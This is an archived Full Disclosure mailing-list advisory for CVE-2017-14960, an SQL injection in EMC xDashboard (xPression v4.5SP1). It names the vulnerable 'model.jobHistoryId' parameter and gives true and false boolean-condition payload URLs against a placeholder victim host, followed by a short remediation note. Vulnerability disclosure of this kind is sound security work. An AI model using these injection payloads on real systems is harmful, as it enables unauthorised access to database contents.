full-disclosure - [FD] EMC xDashboard

Open Source and information security mailing list archives

Message-ID: <CAByKQJ7-e77a4D4EZA7Miie=z3GkH05=PuhpAUYm4zE8eFgVcQ@mail.gmail.com>
Date: Tue, 2 Jan 2018 14:12:10 +0100
From: Paweł Gocyla <pawellgocyla@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] EMC xDashboard - SQL Injection Vulnerability

Title: EMC xDashboard - SQL Injection Vulnerability
Author: Pawel Gocyla
Date: 02 January 2018

CVE: CVE-2017-14960

Affected Software:
==================
EMC xPression v4.5SP1 Patch 13
Probably other versions are also vulnerable.

SQL Injection Vulnerability:
==============================
This vulnerability allows an attacker to retrieve information from the
database

Vulnerable parameter: "$model.jobHistoryId"
Image: SQLi1.png
Image: SQLi2.png

Exploit:

True Condition:  https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=1
False Condition: https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=2

Fix:
====
User input which is putted into sql queries should be properly filtred or
sanitized

References:
============
https://www.owasp.org/index.php/SQL_Injection

Contact:
========
pawellgocyla[at]gmail[dot]com

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives